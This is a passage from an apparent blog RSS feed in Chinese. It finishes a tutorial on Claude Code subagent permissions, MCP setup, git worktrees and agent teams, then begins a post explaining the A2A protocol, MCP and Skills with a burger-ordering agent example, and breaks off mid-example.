&lt;p&gt;权限：Read、Grep、Glob、Bash、Edit、Write&lt;/p&gt;
&lt;p&gt;约束：修改代码前必须先说明要改什么和为什么。创建前先展示 agent 文件内容，我确认后再写。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;5.3 agent 权限&lt;/h3&gt;
&lt;p&gt;这是 subAgent 最重要的设计原则——不是所有 agent 都该有全权限：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;debugger&lt;/strong&gt;：Read、Grep、Glob、Bash — 只读，不允许改代码&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;code-reviewer&lt;/strong&gt;：Read、Grep、Glob、Bash — 只输出建议，不允许写代码&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;test-writer&lt;/strong&gt;：Read、Grep、Glob、Edit、Write、Bash — 可以写测试文件&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;security-reviewer&lt;/strong&gt;：Read、Grep、Glob — 只读，Bash 都不给&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;experiment-runner&lt;/strong&gt;：全集，但受实验规则约束&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;5.4 调用&lt;/h3&gt;
&lt;p&gt;创建后不会自动运行。可以在Claude Code输入中指定，比如调用方式：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;请使用 experiment-runner agent 做实验迭代。不要由主会话直接去做迭代。目标：accuracy &amp;gt;= 0.90 且 loss &amp;lt;= 0.30。实验命令：python train.py。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;6. MCP&lt;/h2&gt;
&lt;p&gt;前面的 Memory、Skill、Hook、subAgent 都在 Claude Code 自己的世界里。MCP（Model Context Protocol）让 Claude Code 能接外部系统：GitHub、PostgreSQL、Figma、Slack、Sentry、Jira 等。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;/mcp&lt;/code&gt; 查看当前连接了哪些服务和状态。在终端添加新连接：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# HTTP 类型
claude mcp add --transport http github https://example.com/mcp

# stdio 类型（本地进程）
claude mcp add --transport stdio myserver -- node server.js
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;MCP安全风险其实挺多的，建议在 CLAUDE.md 里写死 MCP 安全规则：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;所有 MCP 默认只读&lt;/li&gt;
&lt;li&gt;数据库 MCP 默认只允许 SELECT&lt;/li&gt;
&lt;li&gt;GitHub MCP 默认只读 issue，不直接修改 issue 或 PR&lt;/li&gt;
&lt;li&gt;涉及写操作必须先给方案、影响范围和确认点&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;我这篇博客也详细讲了MCP: &lt;a href=&quot;https://whyulooksad.github.io/posts/agent%E4%B8%89%E4%BB%B6%E5%A5%97/&quot;&gt;Agent 三件套&lt;/a&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;7. worktree&lt;/h2&gt;
&lt;h3&gt;7.1 概念&lt;/h3&gt;
&lt;p&gt;Claude Code 的 worktree 是基于 Git worktree的。你的项目必须有 Git 仓库才能用。&lt;/p&gt;
&lt;p&gt;普通情况下你只有一个项目目录。如果开两个终端跑两个 Claude 会话，都在同一个目录里改文件，改的是同一份文件，很容易互相覆盖。&lt;/p&gt;
&lt;p&gt;worktree 让你从一个 Git 仓库开出多个独立目录，每个目录有自己的文件副本：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;my-project/                           # 主目录
my-project/.claude/worktrees/exp-a    # worktree 目录 A
my-project/.claude/worktrees/exp-b    # worktree 目录 B
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;7.2 启动&lt;/h3&gt;
&lt;p&gt;在终端：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cd my-project
claude --worktree exp-a        # 创建或进入 worktree exp-a
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;再开另一个终端：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cd my-project
claude --worktree exp-b
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;exp-a 里的 Claude 改 exp-a 目录下的文件，exp-b 里的 Claude 改 exp-b 目录下的文件，主目录不受影响。&lt;/p&gt;
&lt;h3&gt;7.3 关键认知&lt;/h3&gt;
&lt;p&gt;这是很容易踩坑的地方。三个概念要分清：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;worktree 名字&lt;/strong&gt;：启动时写的，比如 &lt;code&gt;exp-a&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;worktree 目录&lt;/strong&gt;：磁盘路径，比如 &lt;code&gt;.claude/worktrees/exp-a/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;worktree 对应的分支&lt;/strong&gt;：不一定叫 &lt;code&gt;exp-a&lt;/code&gt;，必须查出来&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在主项目目录下跑：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git worktree list
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输出示例：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;D:/my-project                         abc1234 [main]
D:/my-project/.claude/worktrees/exp-a def5678 [worktree-exp-a]
D:/my-project/.claude/worktrees/exp-b 8910111 [worktree-exp-b]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;方括号 &lt;code&gt;[]&lt;/code&gt; 里的才是分支名。&lt;strong&gt;合并时合并的是方括号里的分支名，不是 worktree 名字，不是目录路径。&lt;/strong&gt; 几个例子：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;git worktree list 输出&lt;/th&gt;
&lt;th&gt;分支名&lt;/th&gt;
&lt;th&gt;合并命令&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;[login-fix]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;login-fix&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;git merge login-fix&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;[worktree-exp-a]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;worktree-exp-a&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;git merge worktree-exp-a&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;[claude/test1]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;claude/test1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;git merge claude/test1&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;不要猜。先查再 merge。&lt;/p&gt;
&lt;h3&gt;7.4 合并和冲突&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;cd D:/my-project
git checkout main
git merge worktree-exp-a     # 查出来的分支名
# 跑测试确认没问题
git merge worktree-exp-b
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果两个 worktree 改了同一个文件的同一段代码，Git 会报 CONFLICT。这时候让 Claude 分析冲突：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;当前合并出现冲突。分析冲突文件：A 改了什么、B 改了什么、可以同时保留吗、推荐合并方案。先不要修改文件。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;最好开 worktree 时就明确分工，给每个 Claude 下限制：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;你现在在 worktree exp-a 中工作。只允许修改模型结构相关文件。不要修改数据处理文件。如果确实需要改，先停下来说明原因。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;完成后清理：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git worktree remove .claude/worktrees/exp-a
git branch -d worktree-exp-a   # 分支也不要了就删
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;8. Multi-Agent&lt;/h2&gt;
&lt;h3&gt;8.1 概念&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;subAgent&lt;/strong&gt;：主 Claude &lt;strong&gt;在一个会话里&lt;/strong&gt;派一个专家去查，专家返回结果。专家不和其他专家讨论。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;worktree&lt;/strong&gt;：隔离的代码目录。不是助手，是文件系统层面的隔离。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Agent Team&lt;/strong&gt;：&lt;strong&gt;多个 Claude 实例&lt;/strong&gt;组成团队，各自领任务，lead 汇总。这是多会话之间的协作。这个功能现在还不成熟，Antropic也说了现在是在实验阶段。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;**适用场景：**大型重构、前后端同时分析、复杂 bug 多方向排查、实验多方向并行、一个写代码一个写测试一个 review。它是为复杂任务设计的，不要为了用而用。&lt;/p&gt;
&lt;h3&gt;8.2 用法&lt;/h3&gt;
&lt;p&gt;关键不是&quot;多叫几个 Claude&quot;，而是拆任务 + 定角色 + 定权限 + 定输出 + lead 汇总 + 你批准后再改。缺一步就是多份混乱。&lt;/p&gt;
&lt;p&gt;给 lead 的提示词：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Use an agent team for this task.&lt;/p&gt;
&lt;p&gt;目标：重构用户登录模块，保持现有行为不变。&lt;/p&gt;
&lt;p&gt;角色：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;frontend-agent — 只分析登录页面、表单组件、路由跳转。只读，不修改。&lt;/li&gt;
&lt;li&gt;api-agent — 只分析 auth API、token 存储、错误处理。只读，不修改。&lt;/li&gt;
&lt;li&gt;test-agent — 只分析现有测试覆盖，提出需要补的测试。只读，不修改。&lt;/li&gt;
&lt;li&gt;reviewer-agent — 在前三个完成后，审查汇总方案是否有风险。只读，不修改。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;规则：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;第一轮所有人只读代码，不修改文件&lt;/li&gt;
&lt;li&gt;每个 teammate 输出自己的发现&lt;/li&gt;
&lt;li&gt;lead 汇总最终计划&lt;/li&gt;
&lt;li&gt;我批准前不要改代码&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;核心速查&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;功能&lt;/th&gt;
&lt;th&gt;作用&lt;/th&gt;
&lt;th&gt;怎么访问&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Memory&lt;/td&gt;
&lt;td&gt;项目说明书，启动自动加载&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/init&lt;/code&gt; 生成，&lt;code&gt;/memory&lt;/code&gt; 查看&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Plan Mode&lt;/td&gt;
&lt;td&gt;先读代码给方案，批准再改&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/plan&lt;/code&gt;，或 &lt;code&gt;claude --permission-mode plan&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Skill&lt;/td&gt;
&lt;td&gt;封装重复流程为 /命令&lt;/td&gt;
&lt;td&gt;&lt;code&gt;.claude/skills/&amp;lt;name&amp;gt;/SKILL.md&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hook&lt;/td&gt;
&lt;td&gt;到时机自动触发检查&lt;/td&gt;
&lt;td&gt;&lt;code&gt;.claude/settings.json&lt;/code&gt;，&lt;code&gt;/hooks&lt;/code&gt; 查看&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;subAgent&lt;/td&gt;
&lt;td&gt;派专家查问题，只带回结论&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/agents&lt;/code&gt; → Library 创建&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MCP&lt;/td&gt;
&lt;td&gt;连接 GitHub、数据库等&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/mcp&lt;/code&gt; 查看，&lt;code&gt;claude mcp add&lt;/code&gt; 添加&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;worktree&lt;/td&gt;
&lt;td&gt;Git worktree 隔离目录并行工作&lt;/td&gt;
&lt;td&gt;&lt;code&gt;claude --worktree &amp;lt;name&amp;gt;&lt;/code&gt;，&lt;code&gt;git worktree list&lt;/code&gt; 查分支&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Agent Team&lt;/td&gt;
&lt;td&gt;多 Claude 组队分工协作&lt;/td&gt;
&lt;td&gt;拆任务 → 定角色 → 定权限 → lead 汇总&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
</content:encoded></item><item><title>2026年Agent三件套</title><link>https://whyulooksad.github.io/posts/agent%E4%B8%89%E4%BB%B6%E5%A5%97/</link><guid isPermaLink="true">https://whyulooksad.github.io/posts/agent%E4%B8%89%E4%BB%B6%E5%A5%97/</guid><description>这次来谈谈A2A，MCP和Skills，写的很乱，算是给自己复习一遍吧。</description><pubDate>Fri, 12 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;这次来谈谈A2A，MCP和Skills，写的很乱，算是给自己复习一遍吧。&lt;/p&gt;
&lt;h1&gt;一、全局概念&lt;/h1&gt;
&lt;p&gt;先看一下A2A、MCP、Skills三者的协同架构图：&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://cdn.jsdelivr.net/gh/whyulooksad/image_bed@main/images/20260612144502626.png&quot; alt=&quot;image-20260612144502543&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;概念&lt;/th&gt;
&lt;th&gt;角色&lt;/th&gt;
&lt;th&gt;方向&lt;/th&gt;
&lt;th&gt;提出者&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;A2A&lt;/td&gt;
&lt;td&gt;通信协议——Agent 与 Agent 之间的协作标准。&lt;/td&gt;
&lt;td&gt;横向&lt;/td&gt;
&lt;td&gt;Google (2025.4)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MCP&lt;/td&gt;
&lt;td&gt;连接器——Agent 和外部工具/数据之间的标准接口。&lt;/td&gt;
&lt;td&gt;纵向&lt;/td&gt;
&lt;td&gt;Anthropic (2024.11)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Skills&lt;/td&gt;
&lt;td&gt;知识包——封装了领域流程知识的可复用模块。&lt;/td&gt;
&lt;td&gt;内部&lt;/td&gt;
&lt;td&gt;Anthropic (2025.10)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;在 Skills 出现之前，MCP 承担了大量本应由 Skills 完成的技能封装的工作。但 Skills 引入的渐进式披露思想，有效解决了 MCP 在复杂场景下容易出现的Token 爆炸的问题，因此热度迅速超过了 MCP。此后，MCP 也逐步回归其核心定位，专注于 Agent 与外部工具 / 数据之间的连接。不过，三者本质上工作在 AI 系统的不同层次，是相互补充而非替代的关系。在我看来，目前最理想的架构是：多个Agent通过A2A协作，每个Agent内部用Skills指导自己怎么做，通过MCP连接需要用到的工具和数据。&lt;/p&gt;
&lt;h1&gt;二、A2A&lt;/h1&gt;
&lt;p&gt;A2A 全称 &lt;strong&gt;Agent2Agent Protocol&lt;/strong&gt;，是Google提出的一套让不同厂商、不同框架、不同服务器上的 AI Agent 互相发现、互相通信、互相协作而不需要暴露内部记忆、工具和实现细节的开放协议。&lt;/p&gt;
&lt;p&gt;谈A2A之前必须要说的是：现在的行业落地里，A2A还不是主流工程方案，LangGraph / CrewAI / AutoGen / 自研 Orchestrator或者 MCP 仍然是当前多 Agent 落地更常见的工程方式。原因也比较简单。第一，目前公开可见的大规模、跨组织 Agent 协作项目还不算多，很多所谓多 Agent 系统，其实都运行在同一个项目、同一个进程或者同一个服务集群里。比如用 LangGraph 写 Multi-Agent，本质上直接函数调用或者框架内部状态图编排就能完成；即使不同 Agent 挂成独立服务，LangGraph 或自研调度器也可以通过 HTTP/API 去编排。第二，如果只是想远程调用某个 Agent 去处理一个具体任务，也可以把这个 Agent 包装成 MCP Server，对外暴露成一个工具。这样主 Agent 通过 MCP 调用它，也能完成类似 Agent-to-Agent 的效果。所以从短期工程落地角度看，A2A 在很多内部项目里并不是刚需。但是 A2A 的价值在于，它不是简单地把 Agent 当工具调用，而是把远程 Agent 当成一个有任务状态、有上下文、有产物返回能力的独立协作对象。特别是面对长任务状态跟踪、中途补充输入、流式进度反馈、异步通知、最终 Artifact 返回这类场景时，MCP 做起来就会比较别扭，而 A2A 里的 Task、Message、Artifact 这些设计会更自然。所以A2A 现在可能还不是主流落地方案，但它解决的是未来 Agent 生态互联的问题。随着 Agent 服务越来越多，跨框架、跨团队、跨平台调用 Agent 的需求增加，专门的 Agent 通信协议大概率会有应用空间。也正是因为这个趋势，我觉得 A2A 还是值得提前学习和理解的。当然这只是个人观点。&lt;/p&gt;
&lt;p&gt;ok下面正式开始谈一下A2A。&lt;/p&gt;
&lt;h2&gt;A2A的通信方式&lt;/h2&gt;
&lt;p&gt;A2A 采用经典的C/S架构，使用 &lt;strong&gt;JSON-RPC 2.0 over HTTP(S)&lt;/strong&gt;，支持同步请求响应、SSE 流式响应、异步推送通知，并能交换文本、文件和结构化 JSON 数据。&lt;/p&gt;
&lt;p&gt;常见模式有三种：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第一种：普通请求响应&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;适合很快完成的任务。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Client → Server：查一下今天成都天气
Server → Client：返回结果
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;第二种：SSE 流式返回&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;适合边生成边返回，比如写报告、写代码。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Client → Server：生成一份报告
Server → Client：正在检索资料
Server → Client：正在生成大纲
Server → Client：正在生成正文
Server → Client：完成
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;官方文档也说明，A2A 支持通过 Server-Sent Events 接收实时增量结果或状态更新。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第三种：异步 Push&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;适合超长任务。比如远程 Agent 跑实验，跑完后通过 webhook 通知我们。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Client：你慢慢跑，跑完通知我
Server：收到
……
Server → webhook：任务完成
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;A2A 的工作流程&lt;/h2&gt;
&lt;p&gt;A2A的核心机制：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;机制&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;th&gt;层次&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Agent Card&lt;/td&gt;
&lt;td&gt;每个 Agent 的名片，用 JSON 格式描述自己的能力 —— 其他 Agent 据此判断该找谁合作&lt;/td&gt;
&lt;td&gt;协议层&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Message&lt;/td&gt;
&lt;td&gt;Agent 之间交换的消息，可以携带文本、文件、结构化数据&lt;/td&gt;
&lt;td&gt;协议层&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Task&lt;/td&gt;
&lt;td&gt;任务管理机制，有完整的生命周期（创建 → 进行中 → 完成 / 失败）&lt;/td&gt;
&lt;td&gt;协议层&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Artifact&lt;/td&gt;
&lt;td&gt;任务的交付物 ——Agent 之间交换的工作成果&lt;/td&gt;
&lt;td&gt;协议层&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AgentExecutor&lt;/td&gt;
&lt;td&gt;A2A 请求进入业务逻辑的执行入口&lt;/td&gt;
&lt;td&gt;业务层&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;这些定义都不难理解。下面以Google 官方 codelab 里的 purchasing concierge 为例。&lt;/p&gt;
&lt;p&gt;这个场景是：一个购买助理 Agent 去远程调用Burger Seller Agent。&lt;/p&gt;
&lt;p&gt;先看一下完整流程：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Burger Seller Agent 启动
  ↓
暴露 Agent Card：/.well-known/agent.json
  ↓
购买助理 Agent 启动
  ↓
读取远程 Agent Card，保存到 cards / remote_agent_connections
  ↓
用户说：我想买汉堡
  ↓
购买助理根据 Agent Card 判断该找 Burger Seller Agent
  ↓
购买助理把用户请求封装成 Message
  ↓
通过 A2A Client 发给 Burger Seller Agent
  ↓
Burger Seller Agent 收到请求，形成 Task 或直接返回 Message
  ↓
Burger Seller Agent 的 AgentExecutor 执行业务逻辑
  ↓
返回确认问题 / 订单结果 / Artifact
  ↓
购买助理把结果转给用户
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Agent Card 是调用前读取的；Message 是调用时发过去的；Task 是远程 Agent 接住任务后管理状态的；Artifact 是任务完成后的交付物；AgentExecutor 是远程 Agent 收到任务后真正干活的代码。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第一步：Burger Seller Agent 先把自己暴露成 A2A Server&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Burger Seller Agent 是被调用方。它启动时要做三件事：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;声明自己会什么：AgentSkill&lt;/li&gt;
&lt;li&gt;声明自己是谁、在哪、有什么能力：AgentCard&lt;/li&gt;
&lt;li&gt;实现收到请求后怎么处理：AgentExecutor&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;（首先说明：接下来A2A这一节提及的 skill 为通用功能定义，和业界热门的 AI Skills 只是名称巧合，二者无关。）&lt;/p&gt;
&lt;p&gt;接下来我们定义一个售卖汉堡的 skill。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sell_burger_skill = AgentSkill(
    id=&quot;sell_burger&quot;,
    name=&quot;Sell Burger&quot;,
    description=&quot;Handle burger ordering requests&quot;,
    tags=[&quot;burger&quot;, &quot;food&quot;, &quot;order&quot;],
    examples=[
        &quot;I want a cheeseburger&quot;,
        &quot;我想买一个汉堡&quot;
    ]
)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后把这个 skill 放进 Agent Card：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;agent_card = AgentCard(
    name=&quot;Burger Seller Agent&quot;,
    description=&quot;A seller agent that handles burger purchase requests&quot;,
    url=&quot;http://localhost:10001/&quot;,
    version=&quot;1.0.0&quot;,
    skills=[sell_burger_skill],
)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;服务启动后，A2A 框架会把这个 &lt;code&gt;AgentCard&lt;/code&gt; 序列化成 JSON，并通过固定路径&lt;code&gt;/.well-known/agent.json&lt;/code&gt;暴露出来：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;name&quot;: &quot;Burger Seller Agent&quot;,
  &quot;description&quot;: &quot;A seller agent that handles burger purchase requests&quot;,
  &quot;url&quot;: &quot;http://localhost:10001/&quot;,
  &quot;skills&quot;: [
    {
      &quot;id&quot;: &quot;sell_burger&quot;,
      &quot;name&quot;: &quot;Sell Burger&quot;,
      &quot;description&quot;: &quot;Handle burger ordering requests&quot;
    }
  ]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;通过这个Agent Card，其他 Agent 在调用前就可以知道这个远程 Agent 是谁、在哪里、能做什么。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第二步：购买助理 Agent 读取远程 Agent Card&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;购买助理 Agent 是调用方。它会先从配置中拿到候选远程 Agent 的地址：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;remote_agent_addresses = [
    &quot;http://localhost:10001&quot;,  # Burger Seller Agent
    &quot;http://localhost:10002&quot;,  # Pizza Seller Agent
]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后逐个请求它们的 Agent Card：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;for address in remote_agent_addresses:
    card = get(f&quot;{address}/.well-known/agent.json&quot;)
    cards[address] = card
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;用户说“我想买汉堡”时，购买助理就可以根据这些 Agent Card 判断应该调用 Burger Seller Agent。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第三步：购买助理把用户请求封装成 Message&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;购买助理选择 Burger Seller Agent 后，构造 A2A Message发送给Burger Seller Agent：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;role&quot;: &quot;user&quot;,
  &quot;parts&quot;: [
    {
      &quot;kind&quot;: &quot;text&quot;,
      &quot;text&quot;: &quot;Order lunch for the team.&quot;
    },
    {
      &quot;kind&quot;: &quot;data&quot;,
      &quot;data&quot;: {
        &quot;people&quot;: 5,
        &quot;budget&quot;: 80,
        &quot;dietaryRestrictions&quot;: [&quot;no pork&quot;, &quot;one vegetarian&quot;]
      }
    }
  ],
  &quot;messageId&quot;: &quot;msg-001&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;第四步：Burger Seller Agent 接收 Message，并通过 AgentExecutor 处理 Task&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Burger Seller Agent 收到这个 Message 后，A2A Server 会负责解析协议请求，并把它交给 &lt;code&gt;AgentExecutor&lt;/code&gt; 处理。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;AgentExecutor&lt;/code&gt; 可以理解成远程 Agent 的执行入口：A2A 请求进来以后，真正进入业务逻辑的地方就是这里。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class BurgerAgentExecutor(AgentExecutor):
    async def execute(self, context, event_queue):
        # 1. 从 context 中取出购买助理发来的 Message
        user_message = context.message

        # 2. 调用自己的业务逻辑，例如检查菜单、计算价格、处理饮食限制
        result = await burger_seller.handle_order(user_message)

        # 3. 把处理结果通过 event_queue 返回给调用方
        await event_queue.enqueue_event(
            new_agent_text_message(result)
        )
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Burger Seller Agent 可以从&lt;code&gt;context.message&lt;/code&gt;里面拿到两类信息：一类是文本请求，比如 &lt;code&gt;Order lunch for the team.&lt;/code&gt;；另一类是结构化数据，比如人数、预算和饮食限制。&lt;/p&gt;
&lt;p&gt;因为Burger Seller Agent 可能不能马上给出最终结果。它可能需要先检查菜单，再组合套餐，再判断预算，最后还要让用户确认：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;I can order 4 cheeseburgers and 1 veggie burger for 78 dollars. Please confirm.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以这次远程调用就需要被当成一个 Task 来管理，而不是一次性 Message 回复。Task 的状态可能是：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;submitted → working → input_required → working → completed
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;例如 Burger Seller Agent 处理到一半，需要用户确认订单，就可以返回一个 &lt;code&gt;input_required&lt;/code&gt; 状态：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;id&quot;: &quot;task-123&quot;,
  &quot;status&quot;: {
    &quot;state&quot;: &quot;input_required&quot;,
    &quot;message&quot;: {
      &quot;role&quot;: &quot;agent&quot;,
      &quot;parts&quot;: [
        {
          &quot;kind&quot;: &quot;text&quot;,
          &quot;text&quot;: &quot;I can order 4 cheeseburgers and 1 veggie burger for 78 dollars. Please confirm.&quot;
        }
      ]
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;购买助理 Agent 收到这个状态后，不会把任务当成已经完成，而是把确认问题转给用户。用户确认后，购买助理再把确认信息发回 Burger Seller Agent，远程商家 Agent 继续处理同一个 Task，直到状态变成 &lt;code&gt;completed&lt;/code&gt; 或 &lt;code&gt;failed&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;所以，A2A 并不是简单地把远程 Agent 当成一个 HTTP 接口调用，而是把这类跨 Agent 协作建模成一个可跟踪、可暂停、可继续的任务。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第五步：任务完成后返回 Artifact&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;当 Burger Seller Agent 完成订单后，返回 Artifact。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;artifactId&quot;: &quot;receipt-001&quot;,
  &quot;name&quot;: &quot;burger-order-receipt&quot;,
  &quot;parts&quot;: [
    {
      &quot;kind&quot;: &quot;data&quot;,
      &quot;data&quot;: {
        &quot;orderId&quot;: &quot;B123&quot;,
        &quot;items&quot;: [&quot;4 cheeseburgers&quot;, &quot;1 veggie burger&quot;],
        &quot;total&quot;: 78,
